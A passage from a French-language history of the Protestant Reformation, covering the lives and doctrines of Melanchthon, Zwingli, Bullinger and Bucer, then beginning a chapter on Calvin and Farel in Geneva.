pénètre dans toutes les classes de la société et bientôt dans les pays de l’Europe du nord dans un mouvement et un élan qui s ‘avèreront irréversibles. Après le Moyen -Age, « l’époque moderne » s’installe. Martin Luther en reprenant et en développant les idées des précurseurs, dès lors ‘pré-réformateurs – a établi une nouvelle religion qui donnera un autre visage à l’Europe. L’aspect politico – religieux jouera dans l’articulation nord – sud, le sud restant catholique romain, et le nord, en conséquence de l’Empire de Charles Quint, divisé en catholiques et luthériens. Le réformateur allemand a-t-il eu conscience des bouleversements qu’il provoquait, lui qui était arrivé au bon moment, suivi des bons personnages, avec les bons moyens techniques ; lui qui avait, en homme d’exception, su mettre en scène et en jeu tous ces éléments, tous ces facteurs ; lui qui avait écrit sur un modeste papier trouvé prés de son lit de mort : :« Personne ne peut comprendre les Bucoliques de Virgile s’il n’a pas été berger cinq ans. Personne ne peut comprendre les Géorgiques de Virgile s’il n’ a pas été paysan pendant cinq ans. Personne ne peut comprendre les Lettres de Cicéron s’il n’ a pas été engagé dans cette étude pendant vingt cinq ans. Personne ne peut comprendre avoir compris les Saintes Ecritures s’il n’a pas été en charge de toutes les églises pendant cent ans avec le prophète Elie, Jean -Baptiste, le Christ et les apôtres (...) mais adorez son chemin avec humilité. Nous sommes des mendiants, cela est notre vérité. » Martin Luther qui, malgré ses ennemis et ses difficultés, ne s’est jamais dédit, a également été entouré d’amis fidèles, de ‘disciples’. Philipp Melanchton est de ceux – là. Né à Bretten (1497-1560), d’une famille aisée, de son vrai nom Philipp Schwartzerdt, il reçoit une bonne instruction délivrée par un précepteur. Le jeune garçon, brillant, goûte vite les discussions avec les étudiants plus âgés et plus avancés. À la mort de son père, il est envoyé à Spire et étudie à l’école latine de Pforrzheim. Là il se fait remarquer par sa culture, son goût de grec son talent pour le latin et en 1509 se voit donner le nom hellénisé de Melanchton – de Melas, noir et Chtoné, terre – À douze ans il entre à l’université de Heidelberg, se familiarise avec les écrits d’Erasme, et en 1514 obtient le grade de bachelier des arts. En 1516 il dépose une maîtrise à la faculté de philosophie, tout en étudiant toujours le grec, l’hébreu, les auteurs antiques, l’astronomie, l’astrologie, la didactique, la grammaire ; et dans les années 1515, il travaille comme correcteur dans une imprimerie. En 1518 une chaire de grec est créée à l’université de Wittenberg, pour laquelle Melanchton est appelé. Là, il rencontre Martin Luther, qui lui confie d’ailleurs la charge honorifique de la leçon inaugurale, qui l’influence très vite et qu’il ne devait plus quitter malgré des désaccords qui n’entameront pas le respect et l’amitié qui lient le disciple à son maître. Un an plus tard a lieu la ‘disputation’ de Leipzig où Luther doit s’expliquer : bien qu’il n’ait pas eu à participer à la discussion, Melanchton avait aidé Luther à préparer ses arguments. Bientôt ce dernier persuade le jeune érudit d’étudier la théologie et Melanchton, selon les espoirs de son ‘père spirituel’ est diplômé en théologie cette même année 1519. Il peut dès lors enseigner la théologie, la philosophie et l’exégèse biblique. En 1520 Philipp Melanchton épouse Katherine Krapp. La famille, qui comptera quatre enfants habite une maison modeste jusqu’en 1536, date à laquelle Frédéric le Sage lui fait construire une demeure plus importante, toujours à Wittenberg, ; une vie régulière s’y déroulait, rythmée par les cours, les rencontres avec les étudiants dont certains étaient logés chez la famille Melanchton comme c’était alors la coutume. Le professeur était encore occupé par la préparation et la tenue des études bibliques qui avaient lieu chez lui et qu’il préparait en latin pour ceux qui ne connaissaient pas l’allemand, car les étudiants étrangers étaient nombreux à Wittenberg. Dès son arrivée dans cette ville, Melanchton avait souhaité des réformes dans le programme des études de l’université. D’une part il défendait l’histoire et les mathématiques et d’autre part l’enseignement scolastique disparaissait progressivement. Le professeur devient recteur en 1523-1524 et peut alors décider certaines réformes, comme donner un enseignement humaniste, notamment à l’exemple d’Erasme. Melanchton en effet admirait l’humaniste hollandais et on rapporte que, sur son lit de mort, il récitait des prières écrites par Erasme. Luther, qui n’appréciait guère Erasme, devait s’incliner devant la volonté du recteur ; comme il devait également accepter l’apprentissage de la grammaire, de la rhétorique et de la dialectique, mais aussi de la zoologie, la géographie et l’astronomie. Il existera des désaccords entre Melanchton et Luther, dont cette appréciation différente d’Erasme, ou le mariage de son maître que Melanchton désapprouvait. Mais une concordance de vues était réelle et profonde quant à ce qui, pour les deux complices érudits, était essentiel , l’enseignement : la maîtrise de l’expression et la rhétorique depuis les ‘disputations’, les controverses, jusqu’aux poèmes qu’on apprenait à écrire et à réciter. Melanchton en effet est un grand enseignant, comme Luther, mais il est plus professeur que prédicateur, et le nombre important d’ouvrages publiés à l’intention des étudiants, de manuels ou de cours est autant de témoignages du pédagogue. Les cours de théologie étaient suivis, dit-on, par quelque cinq cents ou six cents étudiants, à ses débuts, puis plus tard par environ mille cinq cent jeunes gens. Son ambition était de rester un humaniste, et non devenir théologien, et de transmettre ce goût de l’étude qui caractérisait le courant humaniste. Resté donc humaniste et professeur, Melanchton a fixé des règles de connaissance de l’Histoire, et de l’histoire de la religion. C’est lui qui a étudié et montré l’importance de ce que le XIX<sup>e</sup> siècle appellera l’étude historico-critique. Melanchton a été le premier à vouloir montrer l’importance de l’histoire des dogmes, et, à travers eux, l’histoire du christianisme. Les universités de la deuxième moitié du XVI<sup>e</sup> siècle en Allemagne – à Francfort, Leipzig, Prostock ou Heidelberg – bénéficieront, notamment dans les années 1555-1560, de la participation de Melanchton à l’élaboration de leurs statuts. De même les nouvelles universités de Marbourg, Königsberg, créées après la Réforme luthérienne,devaient- elles recevoir les conseils de Melanchton, véritable personnification de la quasi totalité des connaissances de son époque, lui qu’on appelait ‘le professeur d’Allemagne’. Outre ce domaine de l’enseignement où il excelle, Melanchton œuvre pour aider Luther et faire avancer ses idées, notamment au sujet du célibat des prêtres (même s’il désapprouvait le mariage de son maître), et surtout la nouvelle conception de la communion, la consubstantiation. C’est Melanchton qui célébrera le 29 septembre 1521 la première cène luthérienne. A partir de 1527, Melanchton travaille à un texte qui donnerait la synthèse de la doctrine luthérienne. En 1529 il est envoyé à la Diète de Spire où doit se discuter la notion de communion selon Luther, et un an plus tard, c’est à la Diète d’Augsbourg que doit encore intervenir Melanchton qui avait donc rédigé le texte essentiel : ce sera la Confession de foi luthérienne, restée pour tous dans l’Histoire comme la Confession d’Augsbourg de 1530, qui prendrait en 1555 , à la paix d’Augsbourg, valeur de Constitution. En vérité, toute l’importance de la Confession d’Augsbourg, de la volonté et de la rédaction de Melanchton lui-même, tient à qu’il souhaitait prouver que les protestants malgré leurs ‘innovations’ appartenaient toujours à la religion catholique et pouvaient rester en son sein. Melanchton défendait ainsi les nouvelles doctrines tout en continuant à reconnaître l’autorité de l’Église. C’est ainsi que Melanchton offre toute l’étendue de sa culture et de son irénisme. Cette attitude lui sera d’ailleurs reprochée, et Luther ne cachera pas sa déception de ne pas avoir vu mentionnées dans la Confession d’Augsbourg les critiques qu’il avait lui-même formulées au sujet du purgatoire, du culte des saints et de la papauté. Melanchton , qui le savait , dira : :« Je sais qu’on me reproche ma modération ; mais cela ne doit pas empêcher d’entendre ce que dit la foule. Nous devons travailler pour la paix et l’avenir. Et ce sera une grande bénédiction pour nous si l’unité peut être retrouvée en Allemagne. » C’est comme si Melanchton rêvait d’une Église ‘évangélique – catholique’, tout en restant dans l’Église catholique avec une autre théologie. Cette nouvelle théologie, Melanchton la publie dans son ouvrage « Loci communes », où il explique que Dieu n’est pas responsable du péché et que l’homme est responsable de ses actes, le salut de l’homme étant offert par Dieu, il n’existe pas de ‘mérite’ à le trouver. En conséquence, Melanchton insiste sur la nécessité des œuvres à partir de ce don de Dieu. Dans l’édition de 1535, l’auteur va jusqu’à affirmer que ces œuvres sont indispensables à la vie éternelle, autant qu’elles prouvent une réconciliation de l’homme avec Dieu. Plus tard, cette doctrine sera atténuée dans les termes de ‘vie spirituelle, sens du devoir et droiture de conscience’. En revanche, au long de sa réflexion, Melanchton mettra en doute la doctrine de Luther au sujet de la consubstantiation, pour se diriger vers une représentation plus spirituelle de la communion. En 1536, date de la Concorde de Wittenberg, Melanchton et Martin Bucer ( ) tentent de trouver un accord pour définir la consubstantiation. Aux colloques de Worms en 1540 et de Ratisbonne en 1541 Melanchton est celui qui doit expliquer la doctrine : au deuxième colloque, on espère une entente avec les catholiques pour la formulation de la justification par la foi : le texte écrit, approuvé par Luther , sera refusé par l’Église, malgré les efforts de Melanchton. En 1543 Melanchton est à Bonn où il retrouve Martin Bucer pour élaborer une ordonnance ecclésiastique dont le but est de réconcilier l’archevêque de Cologne et le prince électeur Hermann von Wield. En vain. Trois ans plus tard, Charles Quint tente d’assujettir les princes récalcitrants. Devant le conflit l’université de Wittenberg doit fermer ses portes, Melanchton doit quitter la ville, où il ne reviendra qu’à la fin du conflit. Ses voyages et son travail de négociateur n’empêchent pas Melanchton d’écrire. Il publie trois commentaires des épîtres de Saint Paul aux Colossiens et aux Romains, cette dernière épître, dont il disait qu’il avait compris l’importance grâce à Luther, était essentielle à ses yeux. Suivent trois versions latines et une version allemande de son œuvre « Loci communes ». Melanchton a aidé Luther pour la traduction du grec en allemand, des livres des Maccabées de l’hébreu en allemand ; il a revu la traduction des Psaumes en 1531, puis l’édition complète de la Bible en 1534 et en 1539-1541. Après la mort de Luther, il travaillait toujours sur les travaux de son maître. Les dix dernières années de sa vie, de 1550 à 1560, souvent critiqué par d’autres théologiens, Melanchton continua d’œuvrer pour la paix de l’Église. Quelques jours avant sa mort, sans jamais avoir cessé d’espérer voir les Églises réconciliées, il disait : : « Je serai libéré de la fureur des théologiens »... Si Martin Luther a été un maître pour Philipp Melanchton, s’il l’a éclipsé et si la légende disait du disciple qu’il était ‘le laquais du prince (Luther)’, l’Histoire a su lui reconnaître son érudition, son travail et sa présence discrète, efficace et indispensable auprès du fougueux Luther. Ses contemporains ont su également comprendre la complémentarité des deux hommes, en les inhumant tous les deux dans l’église du château de Wittenberg, sous des dalles de bronze identiques et de modestes dimensions, qui portent toutes deux simplement les noms, dates des décès et âges, à droite sous la chaire celle de Luther, à gauche celle de Melanchton, qui avait dit à l’oraison funèbre de son maître qu’il était « comme Elie, à son époque, qui avait rappelé l’Église à ses racines ». La réforme luthérienne va s’étendre en Suisse, mais quelque peu différemment, par la volonté d’autres réformateurs, notamment Ulrich Zwingli et Henri Bullinger. Le premier, Ulrich Zwingli (1484-1531) est né à Wildhaus, au nord est de la Suisse, dans un milieu aisé. Instruit d’abord par oncle, il est ensuite envoyé à Bâle, puis à Vienne, avant de poursuivre ses études à Berne et Vienne . On ignore la cause du renvoi du jeune Ulrich de l’université de Vienne, mais on l’y retrouve un an plus tard. En 1502, il retourne à Bâle où on le presse d’étudier la théologie, ce qu’il fait et en obtient le grade en 1506. De 1506 à 1516, tout en exerçant les fonctions de curé à Glarus, au centre de la Suisse, Zwingli continue d’étudier le grec, les Pères de l’Église, en parallèle avec les grands humanistes, dont Erasme. Comme souvent à l’époque, il participe aussi à la vie politique, notamment comme aumônier dans les armées suisses, et à Marignan en 1515. Son engagement à la cause du pape est alors total, ce qui lui vaut l’amitié du cardinal Matthew Shinner, une pension du pape, et en 1516 l’autorisation d’être prêtre séculier, date à laquelle il quitte Glarus. De 1516 à 1518 Zwingli se consacre à la prédication et à l’étude : toujours attaché à l’Église, il suit les traces des humanistes, étudie la Bible, particulièrement les épîtres de Saint Paul, et apprend l’hébreu. En 1518 le poste de prédicateur à Münster étant vacant, il se propose comme candidat et ; malgré les soupçons qui pèsent sur lui au sujet précisément du célibat des prêtres, il est élu majoritairement. Plus humaniste que théologien, il s’occupe alors davantage d’affaires séculières que cléricales. En 1519 il prêche pour la première fois dans la cathédrale de Zurich. Dans cette ville vont avoir lieu des faits et se prendre des décisions qui font évoluer Zwingli. Tout d’abord, il est frappé d’une part par la piété et la religiosité des habitants, d’autre part par la négligence et le laxisme du clergé, et enfin par le système des mercenaires adopté pour leurs armées par la France et par Rome. Ce dernier pont amène Zwingli à s’occuper de nouveau de politique : il s’oppose à Rome et en 1520 renonce à la pension que lui versait le pape. Zurich alors, sous l’influence de Zwingli, refuse une alliance avec la France en 1521. Dès lors l’influence politique et religieuse du ‘contestataire’ est grande, et dès 1522 il affirme ses critiques de l’Église et ne veut avoir d’obéissance qu’en face de Dieu et de la Bible. Le nouveau réformateur suisse explique toutes ses idées dans soixante sept thèses qui sont soixante sept propositions de réformes de l’Église. Zwingli devra participer à deux ‘disputations’ en janvier et octobre 1523 à Constance, où tous les points qu’il remettait en cause, et malgré la prudence qui lui était conseillée, seront acceptés à Zurich : pèlerinages et pratique des indulgences interdits, sacrements de pénitence et extrême-onction supprimés, toutes ‘images’, sculptures, reliques, etc..., détruites, calices et objets de d’église fondus, biens ecclésiastiques saisis par la ville, monastères fermés, célibat rejeté. En 1524 Zwingli épouse Anne Reinhard, et en 1525 la messe est interdite à Zurich. Ces réformes sont acceptées à Zurich, comme à Saint Gall, Berne, Schaffahausen et Bâle, et Zwingli est devenu une personnalité incontestée en politique comme en religion. Dans ce second domaine, un conflit l’oppose à Luther au sujet de la communion et les deux théologiens sont invités à en débattre en 1529 ; Luther prêche la consubstantiation alors que Zwingli ne veut voir dans la communion que le souvenir et le symbole de la dernière cène, doctrine qu’il avait déjà rendue publique en 1524. La querelle en restera là et les deux réformateurs garderont leurs doctrines respectives. La virulence de Zwingli l’oppose également aux cantons restés catholiques. Sous son influence, une guerre civile, acceptée par les zurichois, a lieu à Kappel en octobre 1531 entre catholiques et protestants. La guerre est courte , qui se termine à la fin du même mois, mais Zwingli y meurt. Considéré comme ‘le gouverneur de tous les confédérés’ Zwingli a usé de tout son poids politique et religieux pour faire évoluer la doctrine de Luther , au sujet de la communion principalement, et en a effectivement fait un point essentiel dans le tournant de la Réforme. Henri Bullinger (1504-1575) est le second grand réformateur suisse. Né à Bremgarten, à trente kilomètres de Zurich, le jeune garçon étudie d’abord dans sa ville natale puis à Emmerich sur le Rhin, où les travaux des étudiants répondent à la fois à l’enseignement traditionnel et à l’humanisme. À quinze ans il est à Cologne et obtient le diplôme de bachelier . En 1520 a lieu dans cette ville une controverse de Luther, que le jeune homme découvre. Sous l’influence du réformateur allemand Bullinger décide de relire la Bible, surtout le Nouveau Testament, les Pères de l’Église, les « Lois communes » de Melanchton, et abandonne peu à peu l’idée qu’il avait de devenir chartreux. En 1523 il est professeur à l’école du couvent cistercien de Kappel, après avoir renoncé à être membre d’un quelconque ordre. On appelle son enseignement ‘humanisme réformé’, il est centré sur l’étude des Ecritures et particulièrement sur les épîtres de Saint Paul. Toujours en 1523 Bullinger rencontre Zwingli et de ces premiers contacts se tissent des liens de respect et d’amitié. Bullinger adhère à la doctrine de Zwingli sur le ‘ symbole ‘ dans la communion, et, à son contact, décide de parfaire ses connaissances en se perfectionnant en grec et en apprenant l’hébreu. En 1528 il est ordonné pasteur à Zurich ; puis il publie plusieurs ouvrages cette année- là : « De origine erroris » qui plus tard convaincra Théodore de Bèze, et soixante dix volumes en six ans, en latin et en allemand, théologiques et éthiques. En 1529 Bullinger quitte Zurich pour Bremgarten où on l’a appelé pour prêcher et où, pendant un an, il enseignera le Nouveau Testament. C’est encore en 1529 qu’il épouse Anna Adlischwyler, ancienne nonne de Zurich. En 1531 deux événements touchent Bullinger. Le premier sous la forme d’un conflit avec les anabaptistes, qui pousse le réformateur à publier un ouvrage historico - critique sur l’anabaptisme ; le second étant la guerre qui oppose catholiques et protestants à Kappel et provoque la mort de Zwingli. Bullinger fuit alors Bremgarten pour Zurich, bientôt suivi par son épouse et leurs deux filles. Là il est écouté, comparé à Zwingli, et en décembre 1531, il est nommé pasteur. Le nouveau pasteur doit faire face à ses nouvelles responsabilités, importantes et, avec elles, à des conflits. Tout d’abord politiques : dès la fin de la guerre de Kappel les autorités municipales font savoir qu’il est interdit aux prédicateurs de faire de la politique. Devant les protestations de Bullinger et du Conseil des théologiens on cherche une médiation. Les théologiens ne s’occuperont pas de politique mais les prédicateurs pourront intervenir au nom de la Parole de Dieu. Le second point à débattre est la querelle avec les catholiques qui souhaitent faire reculer Zurich. Nouvelles menaces de Bullinger, et nouveau ‘contrat’ entre la ville, Bullinger et les théologiens protestants. Désormais Bullinger est un personnage essentiel de l’histoire de Zurich et du protestantisme suisse. En outre, ses nombreuses publications, son importante correspondance avec l’Allemagne et les Pays Bas font de Bullinger un maillon indispensable dans le réseau des relations internationales. C’est d’ailleurs grâce à lui que , à Zurich, se réfugieront les exilés anglais sous le règne de Marie Tudor, comme les français qui trouveront refuge également après la nuit de la Saint -Barthélemy. L’enseignement est aussi d’importance pour Bullinger qui, outre les langues bibliques, attend des étudiants qu’ils apprennent la philologie et la rhétorique. Par ailleurs à côté des deux écoles, latine et théologique, déjà existantes à Zurich, Bullinger développe l’école ‘de prophétie’ ouverte par Zwingli en 1525 : on y enseigne le grec et l’hébreu, l’Ancien Testament aux futurs théologiens qui doivent savoir analyser les textes bibliques. De cette école sortira une traduction de la Bible en allemand cinq ans avant celle de Luther. Des publications de Bullinger deux ressortent particulièrement : l’ « Accord de Zurich » qui sonne comme une conclusion, un ‘ accord eucharistique’ entre les Églises de Zurich et de Genève, entre Bullinger et Calvin en 1545. Et le second ouvrage est la « Confession helvétique » en 1536 d’abord, révisée en 1566, qui reprend en trente articles l’histoire de l’Église des premiers siècles, un résumé théologique du libre-arbitre, de la pré-destination, des sacrements, du mariage et de la famille. Cette ‘ confession’ devait recevoir l’assentiment de la presque totalité des cantons réformés. Dans la « Confession helvétique » transparaît le goût de Bullinger pour la théologie, mais aussi pour l’Histoire. En effet le réformateur a fait un travail de fond digne d’un historien. Après son histoire de l’anabaptisme Bullinger écrira encore l’ « Histoire de la Réforme suisse », qui ne paraîtra qu’au XIX<sup>e</sup> siècle et traite de l’Histoire générale de l’Église, et toujours ses controverse et ‘disputations’ se feront à base d’Histoire. Consciencieux et méthodique, Bullinger dans son Diaire notait et conservait les grands événements de l’histoire de l’Europe, sans oublier papes, rois et empereur, alliances, mariages et décès, grands personnages catholiques et réformés. Grâce à Bullinger l’Europe politique religieuse est là, dans son actualité et son évolution. Le réformateur suisse meurt en 1574, après des décennies de prédication, d’enseignement et d’écriture, il est appelé le « capitaine » dissident dans la nouvelle Suisse réformée. Un autre réformateur suit encore les pas de Luther et Zwingli, européen par ses nombreux voyages, dans un désir de paix et de vie chrétienne, Martin Bucer (1491-1551). Né à Sélestat en Alsace, Martin Bucer après des études à l’école latine puis après être entré chez les Dominicains de cette ville, séjourne à Heidelberg, rencontre en 1518 Martin Luther à qui il donne toute sa confiance et dont il retient la théologie. En 1521 Bucer quitte son ordre, est relevé de ses vœux, épouse Elizabeth Sillereinsen , ancienne moniale, ce qui lui vaut d’être excommunié et de devoir se réfugier à Strasbourg en 1523. Il y restera plus de vingt ans, y sera prédicateur et de là voyagera dans toute une partie de l’Europe, Strasbourg étant ville libre d’Empire et devenue plaque tournante de l a Réforme . Les débuts de Bucer à Strasbourg sont heureux. Il est écouté et sa doctrine de l’Église est acceptée par tous : L’Église doit être à la fois théologique et pratique, théorique et sociale ; Église et chrétienté sont unies dans un travail sans cesse missionnaire.. La vie de l’homme doit être prise en considération en regard de la Bible et selon la Parole de Dieu. En 1524 Marin Bucer, nommé pasteur d’une des paroisses de Strasbourg, donnera dans ses prédications l’exemple de ses préoccupations humaines à l’intérieur de l’Église. « Vivre autrement en vivant pour les autres » répétait –il, l’homme sauvé par le Christ devant « porter les fruits » et attester du « nouveau royaume ».Il écrit dans le « »Traité de l’amour du prochain »de 1523 – le premier des cent cinquante traités qu’il publiera - : « C’est pourquoi j’ai écrit dans ce petit traité destiné à exhorter selon l’Ecriture à ce que nul ne vive pour lui-même, mais pour son prochain, et à montrer comment nous pouvons y parvenir, c’est à dire arriver à l’état de la perfection qui vous est accessible ici – bas (...) car le Royaume de Dieu consiste en puissance et non en discours (...) afin que vous progressiez dans la foi et deveniez parfaits dans l’amour et que vous ne viviez aucunement pour vous-mêmes mais pour votre prochain et par lui en Christ. » Comme Luther et Zwingli, Bucer prêche également contre les ‘images’ dans les églises et la forme liturgique ancienne ; liée à leur fonction de ‘missionnaires’ l’attention des réformateurs doit se porter aussi sur l’importance de l’école, de la catéchèse, du mariage, et dans l’Église, de la communion et donc du ‘bannissement chrétien ‘ , l’excommunication, dans certains cas particuliers. Martin Bucer propose pour la première fois l’idée de la confirmation : à la fois confession de foi et engagement, la cérémonie de la confirmation se termine par l’imposition des mains. L’intérêt de cette proposition réside dans un autre objectif, celui de freiner les critiques anabaptistes sur le baptême des enfants. Outre les anabaptistes, Bucer est conscient de la situation des Vaudois, successeurs spirituels de Pierre Valdo, qui se proposent d’adhérer à la Réforme. Il reçoit en 1530 à Strasbourg deux de leurs délégués italiens. Les efforts du réformateur se concrétiseront deux ans plus tard au synode de Chanforan. Les années 1530-1540 sont fastes pour Bucer. En 1529 la messe est officiellement abolie à Strasbourg. En 1530 le pasteur a l’occasion à Augsbourg de préciser sa théologie et sa doctrine des ‘petites communautés chrétiennes’ : ministères diversifiés, collaboration avec les autorités civiles, restructuration des paroisses, synodes composés de pasteurs et de laïques, formation des adules, catéchèses, relations avec toutes les Églises. Ce programme moderne sera la base ’inspiration de Calvin. Outre le projets d’Église, Bucer pense également à l’enseignement et en 1538 crée le Gymnase de Strasbourg, qui sera la future université de cette ville. Les efforts de Bucer ne s’arrêtent pas à Strasbourg. Le reste de l’Europe l’intéresse et l’attire comme potentiel de Réforme. Après les vaudois, les suédois puis les tchèques. Avec ces derniers d’étroites relations se tissent dans les années 1540 lorsque les Frères tchèques se présentent à Strasbourg et rencontrent Bucer. Un volume de Bucer , le « Traité de la cure de l’âme » sera d’ailleurs traduit en tchèque. Après les tchèques, les hongrois qui séjournent à Strasbourg apprennent la doctrine de Bucer. Son influence s’étend encore aux Pays Bas où sa conception spiritualiste de la communion sera adoptée, et où ses écrits seront diffusés. L’Espagne ne reste pas éloignée des idées de Bucer qui accueillera, toujours à Strasbourg, des espagnols acquis à la Réforme mais menacés dans leur pays, dans les années 1545-1546. Enfin la France et l’Angleterre sont dans les préoccupations de Bucer. En France il tente d’engager des relations avec François 1er et aurait souhaité un colloque général. En Angleterre ces relations sont déjà nouées depuis les années 1535 lorsque paraît la traduction des psaumes en anglais et des commentaires bibliques envoyés à des ecclésiastiques anglais. Bucer donnera conseils et avis pour la révision du livre de prières, et aidera à formuler une nouvelle liturgie d’ordination. Il se souviendra de ces relations avec l’Angleterre en 1549 lorsqu’il lui faudra quitter Strasbourg. Car la situation changé dès les années 1540. Les succès de Bucer s’estompent. Est –il allé trop vite et ses contemporains trop lentement ? Les Églises ont elles été trop prudentes ? Les fidèles ont ils été indisciplinés, indifférents ou effrayés ? Le projet le plus cher du réformateur, des ‘communautés chrétiennes’ tombe. Philipp de Hesse, prince et chef de file des protestants, ne soutient plus Bucer. En 1546-1547 les Etats protestants sont vaincus par Charles Quint qui impose le retour du culte catholique à Strasbourg. Bucer y oppose un luthéranisme très affirmé ; en 1549 il doit quitter la ville. Il part en Angleterre s’installe à Cambridge, mais exilé, déçu et sans appui , Martin Bucer meurt deux ans plus tard. Martin Bucer semble donc oublié mais l’œuvre qui avait du sens ressurgira, l’œuvre de celui que Charles Quint lui-même avait su apprécier pour ses talents de négociateur et qui était critiqué par Luther pour ces mêmes talents . On a dit qu’il avait été « le génie créateur de l’Église réformée » et Calvin son « génie réalisateur », celui dont la devise était : « Ma patrie est dans les cieux ». == 4° chapitre : Autour de Jean Calvin == Depuis la deuxième moitié du XV<sup>e</sup> siècle, se sont amorcées puis développées oppositions et contestations, volonté avouée de faire aboutir des réformes, et bientôt la Réforme. Et voici que, plus jeune que Martin Luther, un autre personnage, catholique et d’abord destiné à la prêtrise,n va prendre le relais en France, puis en Suisse, et qui sera un des personnages – clefs de la seconde génération de la Réforme. Jean Calvin, ou Calvin (1509 – 1564) est né à Noyon en Picardie. Ses premières études se passent dans sa ville natale puis à Paris, et il se destinera à devenir prêtre, selon le souhait de son père, étant orphelin de mère dès l’âge de six ans. En quête d’identité, de santé fragile, intelligent, le jeune homme, qui ne recule devant aucun effort, n’hésite pas à multiplier jeûnes et abstinences. Ce mode de vie difficile, et parfois dangereux, ne l’empêche pas de s’initier à la pensée d’Erasme et de réfléchir aux « propositions »de Luther. Mais, en raison de querelles des chanoines de Noyon, avec le père de Jean qui était administrateur de biens, l’orientation du jeune homme est changée et on le dirige vers une carrière de juriste. Ainsi va-t-il reprendre des études de droit à Orléans puis à Bourges. En 1531 le père meurt et le fils choisit de retourner aux lettres et à la théologie, conscient néanmoins d’avoir appris beaucoup du droit et d’en avoir compris l’intérêt et l’importance. Il fréquente alors les cercles humanistes, et décide d’apprendre le grec et l’hébreu. Probablement vers 1532-1533 se situe la ‘ conversion ‘de Jean Calvin qui prend alors la décision irréversible de se tourner vers les ‘idées nouvelles’ du récent luthéranisme. Comme pour le réformateur allemand, il s’agit pour Calvin d’être délivré de cette angoisse existentielle par la conviction que l’homme est sauvé par le don de la grâce, en abandonnant toute forme de superstition ou toute sorte d’influence extérieure qui ne lui viendrait pas de Dieu. Peut-être Calvin a-t-il aussi été influencé par Pierre Robert dit ‘Olivetan’, l’un de ses cousins. En effet, cadet de Jean de trois ans, celui-ci a fait ses études également à Orléans, avant de résider à Strasbourg où il apprend l’hébreu avec Martin Bucer. Olivetan est surtout connu pour avoir traduit la Bible en français, de l‘hébreu et du grec, pour l’Ancien et le Nouveau Testament, traduction que Luther préfacera en 1534 , quand la Bible devait être publiée en 1535 à Neuchâtel. En 1533, Calvin, à la suite des événements consécutifs à la fin du cénacle de Meaux fuit Paris pour Angoulême puis pour Nérac où l’accueille Marguerite de Navarre ; puis il retourne à Bourges où il prêche pour la première fois. En 1534 éclate l’Affaire des Placards et Calvin décide de quitter la France pour Bâle. C’est cette année–là qu’il rompt avec son Église et c’est également l’année de la rédaction de la préface de la Bible d’Olivetan. Deux ans plus tard, en 1536, Jean Calvin publie l’ « Institution de la religion chrétienne », son œuvre majeure et essentielle en latin, qui sera traduite en français en 1541 et connaîtra vingt cinq éditions de 1536 à 1564 et cinquante trois jusqu’à la fin du XVI<sup>e</sup> siècle, en latin, français, anglais, allemand, italien, espagnol et néerlandais. Calvin a publié là une somme qui se veut doctrinale, avec pour objectif d’être aussi une aide pour le chrétien , comme un manuel. Le juriste transparaît derrière le théologien qui suit un plan rigoureux et aboutira à une éthique, loi- foi – prière- sacrements- liberté chrétienne. Ces thèmes principaux, déjà développés par Luther, Zwingli, et Bucer, sont repris dans l’ « Institution » dans une forme plus précise et minutieuse. On retrouve donc les doctrines de l’autorité des Ecritures, la justification par la grâce comme don gratuit de Dieu, mais le jeune réformateur s’écarte de Luther pour le concept de communion et réfute la doctrine de la consubstantiation. Il élabore l’idée de la prédestination qu’il affirmera plus tard et qui ne fera pas toujours l’unanimité des réformés : Dieu choisit ceux qui recevront la grâce et ainsi l’homme sera –t-il sauvé ou perdu par la seule volonté divine. L’ « Institution », dédicacée à François 1er et que Calvin remaniera restera le fondement de ce qui s’appellera le calvinisme et qui se développera dès l’installation de l’auteur à Genève. En effet, de Paris où il a dû se rendre, Calvin souhaite aller à Strasbourg mais ne peut le faire à cause de la guerre et il doit passer par Genève. Là, il rencontre Guillaume Farel et dès lors l’histoire de Calvin est liée à celle de Genève et à Farel. Ce dernier (1489-1565) né à Gap en Dauphiné suit d’abord des études à Paris où il a rencontré Lefebvre d’Etaples et a été diplômé en 1517. Il a fait partie du cénacle de Meaux, a rompu avec l’Église en 1521 et a décidé de diffuser ‘les idées nouvelles’ à Bâle, Strasbourg, Berne et Neuchâtel. Cette ville devant l’insistance et l’influence du réformateur, adhère à la Réforme en 1530. Les autorités bernoises chargent alors Farel de prêcher dans les cantons romans, et c’est au synode de Chanforan qu’il poussera les Vaudois, avec Bucer, à adhérer à leur tour à la Réforme en 1532. Cette même année, Farel arrive à Genève où ses prédications et son élan ne plaisent guère au Conseil épiscopal qui l’expulse en octobre 1532. En mars 1533 les bernois prennent la défense de Farel qui peut revenir à Genève en décembre et où la majorité des genevois acceptent le nouveau réformateur. Deux ans plus tard, la messe sera abolie. Par ailleurs François 1er a attaqué et vaincu la Savoie et Genève se trouve ainsi prise entre la Savoie, la France et les cantons suisses : c’est cette année, en mai, qui marque alors l’adhésion de Genève à la Réforme . 1536 est donc une date importante dans l’histoire de Genève, de Calvin et du protestantisme ‘calviniste ‘ dans la ville. L’histoire de la Réforme à Genève va alors s’écrire plus vite : dans un premier temps, de fin 1536 à 1538, Guillaume Farel et Jean Calvin sont d’abord reçus avec réticence par la population genevoise qui trouve trop rigoureux les articles proposés pour installer la Réforme à Genève. La conséquence en est le renvoi de la ville des deux amis, le Conseil de Berne tentera de les aider, mais en vain ; Guillaume Farel s’installera à Neuchâtel, où il se marie en 1558 malgré le désaccord de Calvin qui lui- même repart pour Bâle puis Strasbourg. Puis en 1540 les genevois le rappellent et il répond en s’installant en septembre 1541 à Genève qu’il ne quittera plus. À Strasbourg en 1540, il avait épousé Idelette de Bure ( ?-1549), veuve de Jean Stordeur : le couple, alors anabaptistes de Liège, s’était réfugié à Strasbourg et avait été amené à adhérer à la Réforme par Jean Calvin. Désormais à Genève Calvin n’a de cesse de développer la Réforme dans la ville. Ses talents de juriste vont l’aider dans ce travail, outre les doctrines déjà exposées dans son œuvre , l’« Institution de la religion chrétienne ». Arrivé début septembre 1541, Calvin présente dès la fin du mois un projet que le Conseil général de la ville accepte en novembre. Ce projet consiste essentiellement en ordonnances ecclésiastiques qui vont déterminer les principaux ministères dans l’Église : les pasteurs qui assurent les prédications et l’administration des deux sacrements , dont la communion que le réformateur accepte de ne la voir célébrée que quatre fois par an ( Noël, Pâques, Pentecôte et le premier dimanche de septembre) ; les docteurs, chargés de la catéchèse, les Anciens, responsables de la discipline ecclésiastique, et les diacres qui veillent sur les œuvres sociales. Un consistoire devra regrouper pasteurs et Anciens qui doivent être attentifs à la bonne moralité des fidèles, 